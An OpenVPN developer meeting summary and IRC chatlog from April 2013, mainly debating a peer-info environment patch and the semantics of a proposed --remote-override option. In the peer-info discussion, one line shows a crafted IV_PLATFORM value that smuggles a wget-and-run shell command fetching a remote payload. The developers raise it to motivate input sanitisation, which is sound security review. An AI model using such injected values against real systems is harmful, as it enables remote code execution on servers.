Hi, Here's the summary of the previous IRC meeting.
--- COMMUNITY MEETING Place: #openvpn-devel on irc.freenode.net List-Post: openvpn-devel@lists.sourceforge.net Date: Thursday 25th Apr 2013 Time: 18:00 UTC Planned meeting topics for this meeting were on this page: <https://community.openvpn.net/openvpn/wiki/Topics-2013-04-25> Next meeting is scheduled for Thursday 2nd May at 18:00 UTC. Your local meeting time is easy to check from services such as <http://www.timeanddate.com/worldclock> or with $ date -u SUMMARY cron2, dazo, jamesyonan, krzee, mattock and novaflash participated in this meeting. -- Discussed the "Make push-peer-info visible in "normal" per-instance environment" patch: <http://thread.gmane.org/gmane.network.openvpn.devel/7541> This patch had some known issues: cron2 will make an amended version and send it for review. -- Discussed the seemingly innocent "Added remote-override option" patch: <http://thread.gmane.org/gmane.network.openvpn.devel/7527/focus=7526> This patch is designed to allow client UI to provide user-selectable remote host. Technically it works as follows: If "--remote-override <remote>" is defined on the client command-line, the IP-addresses of all remotes in the config file are replaced with the value of <remote>. Neither port nor protocol definitions are touched, and OpenVPN will still try to loop through all the remote entries in the config file until it finds one that works. Therefore this option will only work if there are several identically configured OpenVPN server instances using different protocols and ports running on the same host. It was agreed that while the basic functionality this patch provides is useful - especially for VPN providers - the patch was not ACKed yet. Concerns were raised over the fact that behavior could differ depending on when remote-override was defined in the configuration file and/or command-line. This would probably result in more support requests, even if correct use of the option was documented. Also, cleaner implementation of this patch would be significantly more complex. In the end, it was agreed to "postpone, have a good night's sleep and reconsider". For all the gory details, please look at the attached chatlog. --- Full chatlog as an attachment -- Samuli Seppänen Community Manager OpenVPN Technologies, Inc irc freenode net: mattock
(20:59:15) mattock: almost meeting time (20:59:26) mattock: jamesyonan should get here,too (20:59:45) cron2: plaisthos: regarding 3/5, I'd actually like to see these functions named "man_read_fd()" and "man_write_fd()", to be more in line with the regular "management only" stuff. Or "man_send_fd()" and "man_recv_with_fd()", given that the regular code uses recv()/send()... (20:59:53) cron2: but that's bikeshedding, the code itself looks good (21:03:26) jamesyonan [~jamesy...@c-24-9-78-222.hsd1.co.comcast.net] è entrato nella stanza. (21:03:26) modalità (+o jamesyonan) da ChanServ (21:04:22) cron2: hi james (21:05:16) mattock: hi jamesyonan (21:05:25) jamesyonan: hi (21:05:32) mattock: https://community.openvpn.net/openvpn/wiki/Topics-2013-04-25 (21:05:33) vpnHelper: Title: Topics-2013-04-25 – OpenVPN Community (at community.openvpn.net) (21:05:37) mattock: we got tons of patches (21:06:22) mattock: start from the top, or? (21:06:41) mattock: oh, who's here, besides me, cron2 and jamesyonan? (21:06:46) mattock: dazo? (21:06:53) mattock: plaisthos I assume (21:07:10) cron2: plaisthos was here all day but didn't say anything for the last 4 hours... (21:07:38) mattock: ok, then it's probably a good idea to review the SVN patches first (21:07:56) mattock: then again, a non-subjective third-party would be nice to have :D (21:08:02) mattock: you're both tainted :P (21:08:04) cron2: indeed :) (21:08:29) cron2: mattock: did you do any actual tests with the windows binary with snappy in it? (21:08:44) mattock: depends on your definition of a test (21:08:53) cron2: "move data to an openvpn server" (21:08:58) mattock: no, not yet (21:09:20) mattock: I haven't yet tested my latest build, which might have statically linked libstd++ and libgcc in it (21:09:23) mattock: not sure (21:09:30) cron2: ic (21:10:18) mattock: anyways, snappy support is definitely baked into the openvpn binary, as the first working build started complaining right away about missing libstdc++ DLL (21:10:25) mattock: and --version showed enable_snappy=yes (21:10:49) mattock: so I think it's only missing the static libraries (21:11:00) mattock: anyways, I need to do more testing on that (21:11:10) mattock: so perhaps we should review plaisthos' patches instead? (21:12:11) cron2: without plaisthos, this is sort of moot as well... I did some review already, and have a list of things that I want to remark... (21:12:29) mattock: ugh (21:12:40) cron2: so what remains is the "remove unused variables" patch (which is sort of trivial) and the "make push-peer-info visible". (21:13:04) mattock: http://thread.gmane.org/gmane.network.openvpn.devel/7541 (21:13:07) vpnHelper: Title: Gmane Loom (at thread.gmane.org) (21:13:20) mattock: jamesyonan: any thoughts on this one? (21:13:21) cron2: jamesyonan: I think you're the only one qualified to look at that one anyway :-) - (21:14:20) mattock: cron2: I assume plaisthos' patches on the agenda page don't include any of the socket.c stuff I've been hearing about? (21:14:44) cron2: mattock: no, those are only the android platform patches, the socket stuff is separate (another 10 patches) (21:15:02) mattock: ok, we need to get more people here the next time (21:15:26) mattock: andj is on holiday atm, not sure about next week (21:16:42) jamesyonan: looking at push-peer-info patch... (21:17:12) jamesyonan: so the goal here is to move the peer info strings into environment? (21:17:41) cron2: "make it visible to client-connect and plugins", yes (21:18:07) jamesyonan: how to prevent data from being sent twice on management interface? (21:18:09) cron2: so openvpn 2.x can benefit from the info like "ah, this is an IOS client" (21:18:09) ***dazo is here! (21:18:47) mattock: dazo, excellent! (21:18:57) mattock: we were missing you and everyone else! (21:19:12) mattock: https://community.openvpn.net/openvpn/wiki/Topics-2013-04-25 (21:19:13) vpnHelper: Title: Topics-2013-04-25 – OpenVPN Community (at community.openvpn.net) (21:19:14) dazo: sorry, got distracted (21:19:18) cron2: jamesyonan: right now it's sent twice because the "old path" is still there (via man_output_peer_info_env(), which "fakes" environment variables) (21:19:21) mattock: np (21:19:24) ***dazo catches up on cron2's push-peer patch (21:19:59) cron2: jamesyonan: this bit could, if I understand this all correctly, just go (#if 0), as the environment is sent anyway, and the old function sends the data in exactly the same format as if it were "environment" (21:20:29) cron2: the order of peer_info strings is reversed, though (21:20:48) jamesyonan: why is that? (21:21:23) cron2: I think the environment is sent unsorted in the way it's stored, and "more recent additions" are appended to the front of the list (21:22:06) dazo: cron2: have you thought about avoiding shell escaping from the variable names or contents? (21:22:28) jamesyonan: that's probably okay, I don't think there is any order sensitivity with those parms (21:23:15) cron2: dazo: validate_peer_info_line() will only permit alphanumerics+"_" in the name of the variable, and only printables in the content (21:23:51) dazo: I presume $, (, ) and ` considered printable characters ... right? (21:23:51) cron2: so the names are safe, while theoretically someone could do funky stuff with quote characters or whitespace in the content of the variables (21:23:57) cron2: yes (21:24:47) cron2: jamesyonan: I'll do a v2 of the patch, with the "old code path" removed and test it against AS - the snappy stuff should exhibit any surprising mis-parsing just fine (21:25:00) dazo: so .... IV_PLATFORM=$(wget -o /tmp/dirty-hack url.to.payload; sh /tmp/dirty-hack) .... that could cause some fun issues? (21:25:14) jamesyonan: cron2: sounds good (21:25:20) cron2: jamesyonan: what v1 is mostly about is to get a sanity check for "is this the way forward?" (21:25:36) cron2: dazo: unless someone is stupid enough to do "eval $IV_PLATFORM", this should just be content (21:25:54) cron2: blanks are more interesting if you call 'somecomand $IV_PLATFORM' without "" around (21:26:03) dazo: oh true (21:26:27) mattock: ok, now that we have an extra brain here, could we review some of the other patches? (21:26:33) mattock: maybe the SVN stuff? (21:26:40) dazo: I think it would make sense though to strip $ and ` from the values, just to be on the safe side (21:26:49) dazo: or at least escape them in a safe way (21:26:55) krzee: extra brains? /me gets the zombies (21:26:55) cron2: dazo: as I said, you'd need to eval that stuff for it to be dangerous (21:27:09) dazo: cron2: well, we have stupid users who don't think (21:27:16) dazo: and we'll get the blame in the end (21:27:40) mattock: krzee: you just got to the attendee list (21:27:54) krzee: yay, i contributed a zombie joke! (21:27:58) mattock: yep (21:28:07) mattock: you can put to your CV :P (21:28:37) mattock: ok, done with this patch? (21:28:49) cron2: jamesyonan: do you see the need to accept more than "isalnum" + "." + "_" + ":" (mac) + "/" (could be part of the version with the git-version patch) for the IV_ and UV_ variables? (21:29:09) cron2: mattock: always the impatient :-) - we're not yet done with my homework (21:29:14) jamesyonan: cron2: sure I think it makes sense, as long as we don't break AS or introduce new vectors of nastiness via maliciously crafted strings (21:29:32) cron2: current variables are all only "1" or "1.0" or "just strings" (ios, android, ...) (21:30:03) mattock: cron2: you never know if people are thinking or sleeping :P (21:30:04) cron2: jamesyonan: ok, that was the intention (which is why I reject everything that is not IV_ or UV_ - the client would not normally send that, but a hacked client could just send PATH= or such...) (21:30:14) cron2: anyway, I know how to move forward, thanks (21:30:17) cron2: v2 soon (21:30:25) cron2: mattock: *now* we can proceed :-) (21:30:37) mattock: excellent! (21:30:45) mattock: dazo: ready for some fun from SVN? (21:30:58) jamesyonan: mattock -- add multitasking to sleeping and thinking (21:31:00) mattock: cron2 and jamesyonan are a bit tainted when it comes to ACKing these patches (21:31:15) dazo: mattock: svn ... oh dear (21:31:20) krzee: svn lives in 2013! (21:31:21) dazo: :) (21:31:23) cron2: it's not that bad (21:31:26) mattock: well, there's no trace of SVN in the patches themselves (21:31:41) mattock: [PATCH 1/5] Added remote-override option (21:31:56) cron2: that's easy, plaisthos already acked it on the list :) (21:32:10) mattock: you mean "I am not sure I like these remote-override but the patch is small enough to include it if OpenVPN AS really needs it." (21:32:12) mattock: ? (21:32:18) cron2: I count this as an ACK (21:32:59) mattock: dazo? (21:33:09) ***dazo still looks (21:33:27) dazo: trying to get the context of remote-override .... I feel it makes sense in some scenarios (21:34:07) cron2: "I have lots of <remote> in my config and want to test with a different server now", this is what plaisthos explained to me (it's in the openvpn 3 code as well) (21:34:29) dazo: Ahh, this is somewhat related to the remote-override possibility via the management interface, isn't it? (21:35:05) dazo: commit 54561af63699e7408fba11c75bbf9e22ed6216dc (21:36:21) mattock: (I'll multitask and test the latest openvpn windows build now) (21:36:29) dazo: the patch is small enough to slip through ... I just don't really understand the real use case for it .... when looking at the management API, it makes sense there ... but I don't see how this would make sense in the option parser (21:36:38) jamesyonan: remote-override is designed to allow client UI to provide user-selectable remote host (21:37:03) dazo: jamesyonan: but that's from the management interface, isn't it? why is it needed in the option parser? (21:37:20) dazo: or was commit 54561af63699e74 not complete without this last patch? (21:38:11) jamesyonan: because the client UI might instantiate the openvpn binary with --config foo --remote-override user-selected-remote.tld (21:39:08) mattock: I have a quick(?) static linking question at some appropriate time, still not libstdc++ or libgcc in the build (21:39:29) dazo: jamesyonan: okay ... but if the client just did: --config foo --remote user-selected-remote.tld ... wouldn't that work too? (21:41:29) mattock: is there no man-page entry for --remote-override? (21:41:33) mattock: can't find any (21:41:45) mattock: in my patched "master" (21:41:53) cron2: ack, no man page entry in svn (21:42:02) dazo: mattock: it's a new option ... so it should be in the patch (21:42:13) jamesyonan: dazo: but that would just add the user-selected host to the existing remote list (21:44:25) mattock: jamesyonan: so if there were remotes in the config file, anything passed with --remote would be at the end? (21:44:47) mattock: and --remote-override would make OpenVPN disregard any remotes in the config? (21:45:09) jamesyonan: basically yes (21:45:15) dazo: jamesyonan: ahh, true .... but what happens then if you have --remote serverA --remote serverB --remote-override serverOVERRIDE .... would that really override the two first remotes? (21:45:31) dazo: + re.remote = options->remote_override ? options->remote_override : p[1]; (21:45:42) cron2: dazo: yes, it would (21:46:26) jamesyonan: the goal is to provide a reasonable way for users to control which server they are hitting (21:47:00) ecrist: don't they already have that, based on order? (21:47:06) mattock: for VPN services this is very useful (21:47:22) mattock: afaics (21:47:24) dazo: agreed ... I just don't see how this override really functions in regards to connection profiles (21:48:09) jamesyonan: the AS clients can be configured to show a drop-down list of different regions to connect to, which leverages on this feature (21:48:42) dazo: I don't question the feature itself ... I see the feature as useful in some cases ... I'm wondering about the implementation currently (21:49:01) mattock: jamesyonan: what about connection profiles dazo mentioned earlier? (21:49:08) mattock: what will --remote-override do with them? (21:49:27) mattock: (btw. I can provide a man-page patch for this one, should be straightforward) (21:49:54) dazo: how I understand the code ... with connection profiles, this won't function unless --remote-override is used before --config (21:50:04) cron2: it will override whatevever string is behind a "remote" statement in position 1 (21:50:12) cron2: inside or outside of a <connection> block (21:50:14) cron2: dazo: why not? (21:50:32) cron2: ah (21:50:36) dazo: cron2: because you have struct remote_entry *re ... which is later on appended via connection_entry_load_re (&options->ce, &re); (21:50:48) cron2: you *always* have to call --remote-override before --config, it won't work if called afterwards (21:50:56) cron2: it's re-writing "connect" statements as they are read (21:51:05) dazo: so if you have done --remote serverA --remote-override serverC --remote serverB .... only the last one will be overridden, afaics (21:51:06) jamesyonan: if connection profiles exist, then you would essentially be replacing all of the remote options in the profile with the overrided remote (21:51:22) cron2: dazo: true, I was mis-reading your example above. (21:51:43) cron2: if it's in the middle of the config, it will affect "everything from that point on" (21:52:34) dazo: which means: --config foo --remote-override serverOVERRIDE won't work as expected .... as we can presume --config contains a remote (21:52:46) jamesyonan: yes but the intent is that the client UI would place the --remote-override on the command line before --config (21:53:12) dazo: exactly ... which means --remote serverOVERRIDE --config foo .... would have the same effect, right? (21:54:37) cron2: no, that would just add another profile to the start, and if connecting there fails, it would try the rest (21:54:55) dazo: but ... that would happen too with the --remote-override patch (21:55:15) cron2: no, remote-override will override *all* remotes in there, not just "add one to the head of the list" (21:55:22) dazo: ahh, right! (21:57:16) dazo: can I suggest that we improve this patch a bit? That --remote-override is really an override ... that if defined, it will only use the first connection profile and stop trying others .... as if you have --remote-override serverOVERRIDE --remote serverA 1194 --remote serverB 5000 .... the result would be openvpn would try first serverOVERRIDE on port 1194, and then port 500 (21:57:49) dazo: 0 (21:58:17) mattock: sounds good, if that can be done fairly non-intrusively (21:59:18) ***cron2 leaves that bit to james and dazo to sort out "I'm not writing user interfaces and I'm not exporting profiles" (21:59:55) mattock: jamesyonan: was there a particular reason why --remote-override was implemented this way, instead of the way dazo suggested above? (22:01:05) jamesyonan: but that would break adaptive UDP then TCP connection strategies (22:01:54) dazo: ahh, right ... didn't think about that (22:02:35) mattock: accept this patch as is with it's flaws, but add docs to man-page? (22:04:32) dazo: I understand there's a need for this feature ... but its semantic is a bit unclear to me .... man-page documentation is needed, but I think I'd like to see this code getting further improvements (22:05:07) mattock: do we have any way to implement this feature without things getting nasty? (22:05:08) dazo: (we have quite a lot of options, several with similar unclear behaviours in specific configurations) (22:06:19) mattock: we don't need to force this patch to Git... the Access Server / OpenVPN Connect will probably have to use a separate Git tree based on 2.3.x anyways (22:06:20) dazo: I think you need a more complex solution to fix this better (22:06:22) mattock: atm (22:06:38) mattock: that was what I thought (22:08:35) mattock: ACK with documentation, or postpone (i.e. NACK)? (22:09:13) jamesyonan: yes, but patch as-is is very simple and accomplishes goal of allowing user to select remote -- not clear to me that it needs to be complexified (22:10:05) mattock: so I guess this is all tied to the option parser rewrite, essentially? (22:10:16) dazo: jamesyonan: based on experiences from #openvpn .... people will definitely misunderstand this feature ... they will have more servers configured, to handle both TCP and UDP and on different ports (22:10:34) cron2: dazo: this might be a reason why the option is undocumented (22:10:44) mattock: cron2: hmm, good point (22:10:50) dazo: jamesyonan: and then someone will try to use --remote-override ... and be surprised that the remote server gets connection attempts on all TCP/UDP ports not configured on that server (22:10:55) mattock: maybe ACK as-is, and take care _not_ to document this :D (22:11:18) dazo: mattock: that's bloating the code, tbh (22:11:33) jamesyonan: right, the feature requires that you set up your servers in different regions to listen on same ports (22:11:33) mattock: hence the smiley (22:12:07) dazo: As I said ... the feature itself is a good feature .... it's the semantics behind the behaviour which needs to be clear (22:13:14) mattock: I'd say let's NACK this for now (22:13:34) mattock: the patch can be included in AS/OpenVPN Connect (22:13:44) mattock: unless this patch is required by some of the later patches? (22:13:52) cron2: no, it's independent of anything else (22:13:56) mattock: ok, good (22:14:28) cron2: but we shouldn't go there if we can avoid it "having private patches to the openvpn code base inside as/connect" (22:14:46) dazo: f.ex ... could we say that --remote-override requires 2 or three args? --remote-override <server> <port> [tcp/udp] .... if two args are used, remote-override takes care of the port number ... and if proto is declared, even that would be overridden ... then you would have a clearer semantic (22:14:57) dazo: cron2++ (22:15:50) dazo: I would strongly argue against just --remote-override <server> .... as that gives an unclear use case (22:17:17) mattock: so that would solve most of the issues? (22:17:35) mattock: without extensive changes (22:17:50) dazo: dont' bother about extensive changes ... a change is a change ;-) (22:18:01) jamesyonan: i believe there's already a separate mechanism for protocol (tcp/udp) override (22:18:46) mattock: dazo: I fear somebody will start implementing this cleanly, and then, half-way through rewriting the config parser gives up :P (22:19:10) dazo: mattock: nah, that won't be needed :) (22:19:22) jamesyonan: and port override is rare -- never actually seen a use case (22:19:30) mattock: ok, good, then I don't mind clean implementation (22:19:55) mattock: jamesyonan: so what about removing the port override feature and replacing it with what was proposed above? (22:20:09) mattock: ah, sorry, it was protocol override (22:21:01) jamesyonan: well the AS client already implements proto override -- so the user can choose TCP, UDP or Adaptive from the UI (22:21:28) jamesyonan: need to look at how this actually passed to openvpn binary (22:21:50) cron2: --proto_force (22:22:06) dazo: I'm just wondering ... wouldn't it be cleaner if the UI provided the --remote lines directly ... and the config file itself didn't contain any --remote lines at all? (22:22:51) jamesyonan: looks like it's using --proto-force option (22:22:59) cron2: --proto-force tcp/udp will disable all connection entries that "mismatch" (22:23:46) mattock: so it's not exactly the same as --remote-override server port protocol (22:24:12) mattock: which would be precise and understandable I think (22:24:47) dazo: --proto-force has a clear semantic (22:24:53) cron2: yes. --remote-override will keep all connection entries, just changing the server. --proto-force will ignore some connection entries, if the proto does not match. But the use cases are different, so I can see why it is so (22:27:44) mattock: and what to do? (22:28:16) mattock: looked like such an innocent patch :P (22:29:21) jamesyonan: we can document that --remote-override only works for identically configured servers (22:30:29) dazo: I have a (not fully tested) proposal in the pipe .... just a sec (22:32:39) dazo: http://www.fpaste.org/N0C4/ (22:33:12) cron2: so where's the documentation for that? (22:33:33) dazo: I'll add that if it's accepted before sending it to the ML (22:33:44) dazo: the syntax here is --remote-override <server> <port> (22:33:56) dazo: except of that, it should be identical (22:34:15) cron2: I'm not sure there is a use case for overriding the port, and I hear that the main objection to the patch under discussion is "it's not clear what it does, as the documentation is missing" (22:35:02) dazo: cron2: for users (which do exist) who uses --remote serverA 1194 --remote serverB 5000 .... --remote-override will not function at all (22:35:18) cron2: with your patch, it would *always* override the port, which is very much not wanted and not useful if you have "remote foo 1194 udp", "remote foo 443 tcp" and just want to override the "foo" (22:35:44) dazo: and that's why I asked this: I'm just wondering ... wouldn't it be cleaner if the UI provided the --remote lines directly ... and the config file itself didn't contain any --remote lines at all? (22:35:57) mattock: jamesyonan? ^ (22:35:59) cron2: that's not how AS and the various clients work today (22:36:03) jamesyonan: I don't think overriding the port makes sense because many people will be using different TCP and UDP ports (22:36:25) jamesyonan: but how would the UI know what the choices are for remote? (22:36:47) dazo: well, how would it know when to use --remote-override? (22:36:56) dazo: and which server to use in that case? (22:36:58) jamesyonan: in most cases, users are not going to need to know the remote server info (22:37:43) dazo: but the AS UI obviously gives the user some options here .... (22:37:46) jamesyonan: this is for the use case where a customer wants to have a drop-down list showing different regions to connect to (22:38:03) mattock: I think we're dealing with two use-cases here, and james' patch fits one (22:38:11) mattock: and dazo's patch fits the other (22:38:45) mattock: can these be combined into one? (22:38:57) dazo: yeah ... and this kind of more complex "choose this server now" scenario isn't really what the option parser is built for (22:39:36) cron2: well, you could do "the port of the remote-override is optional and only overriden if explicitely set", but that makes the code even more complex here, with no defined use case yet (22:40:37) cron2: I can understand the "vpn provider" use case, which ships a .ovpn profile and has a UI setting for "europe / america / asia" which would then override to $region.myprovider.net, using the same list of tcp/443, udp/1194, ... that the .ovpn exported from the server has (22:40:45) mattock: back to "accept the original patch, but document how it works", i.e. only on identically configured servers (22:41:23) dazo: mattock: I can guarantee you that we will get bug tickets on this feature ... even with docs (22:41:41) dazo: I've already closed several tickets where things *are* documented (22:43:35) mattock: so a summary: (22:43:35) mattock: - accepting as-is with docs will confuse users -> bug reports, help requests (22:43:35) mattock: - implementing this cleanly would require an entirely new patch, which would be more complex (22:43:35) mattock: - this could be an additional patch just for the Access Server/OpenVPN Connect (22:44:16) jamesyonan: It makes things a lot simpler if the AS can use an unpatched branch (22:44:16) mattock: I don't think there's necessarily anything wrong with (semi-)private patches, as long as they are kept in sync with Git "master" / 2.3.x (22:44:46) cron2: this "keeping in sync" will be hard as you'll have conflicts if something else is changed nearby (22:44:57) cron2: or something big like a "whitespace cleanup" happens (22:45:03) cron2: let's avoid private patches if possible (22:45:11) jamesyonan: I would rather leave it as undocumented than start a new fork for AS (22:45:44) dazo: and then JJK looks at the code when doing an update of his "OpenVPN Cookbook" .... and document it for us there ;-) (22:45:51) mattock: lol (22:46:05) mattock: I'm sure somebody will notice it and document it eventually (22:46:08) dazo: (like he did with using 'config' inside config files as an 'include' feature) (22:47:10) mattock: I'm leaning towards "postpone, have a good night's sleep and reconsider" :P (22:47:25) dazo: probably makes sense now :) (22:47:50) mattock: one patch, ~80 mins... too much I think (22:48:00) cron2: *sigh*. I wish people would start considering the patches when they appear on the list, not when meeting... (22:48:08) mattock: cron2: +1 (22:48:25) mattock: but that's not how it goes :P (22:48:46) dazo: well, _now_ is the time I had available for openvpn hacking .... (22:48:58) mattock: let call this a day... it's getting late (22:49:03) cron2: (*and* this was a very classic bikeshed :-) - for those who don't know, klick to http://red.bikeshed.com/ - use any colour of your choice instead of "red") (22:49:04) vpnHelper: Title: Why Should I Care What Color the Bikeshed Is? (at red.bikeshed.com) (22:49:17) cron2: mattock: you're impatient and pushy today, are you :-) - so how's your windows tests? (22:49:23) mattock: blue? (22:49:29) mattock: I'm tired, 22:49 here (22:49:42) mattock: impatient, yes, pushy, maybe :P (22:50:05) mattock: windows tests: failed, no statically linked libraries, C and Automake-fu too low (22:50:15) cron2: meh (22:51:00) cron2: anyway. I got feedback on the peer-info patch, which is valuable, and I spent the time reviewing plaisthos's stuff, which he won't like when he looks into his mailbox :-) (22:51:12) novaflash: jamesyonan: thanks for the info on AS profiling mode :) (22:51:25) cron2: maybe one of you could actually give me an info about plaisthos' patch 1/5 (22:51:40) mattock: novaflash: you got into the community meeting summary (22:51:50) novaflash: oh sh (22:51:51) novaflash: opping (22:51:51) cron2: he's removing the "script-security" warnings. Is this something you agreed on here on IRC before? (22:53:08) dazo: No, I don't think we agreed on such an approach ... but we did at some point talk about a "mute-warning" flag ... where you could select warnings to be ignored ... as many of the warnings are useful if you're not aware of it (22:53:44) novaflash: i figure it makes sense to only issue that warning regarding script security is there is actually a script being specified. otherwise why need the warning? just my 2 zimbabwean dollar cents (22:53:46) dazo: but that was agest ago (22:53:52) novaflash: if* (22:54:24) cron2: ok, I'll catch plaisthos tomorrow and figure that one out (22:54:47) cron2: then - good night folks (22:54:55) dazo: g'night! (22:54:56) mattock: excellent, more patches next week! (22:55:13) mattock: unless people review them on the ml first :P (22:55:16) cron2: yeah, there will be more patches to review, next week :-) - there's a number of open trac tickets that need patching... (22:55:37) mattock: yes, I'm reviewing the tickets myself whenever I got some time to spare (22:55:46) mattock: I'll continue with openvpn-build tomorrow (22:56:05) mattock: + snappy (22:56:27) mattock: summary coming up also, I'll mention that I was being impatient and pushy :P (22:56:30) mattock: apologies (22:56:38) mattock: :D (22:56:49) mattock: -> taking the cat out (22:56:57) mattock: bye all!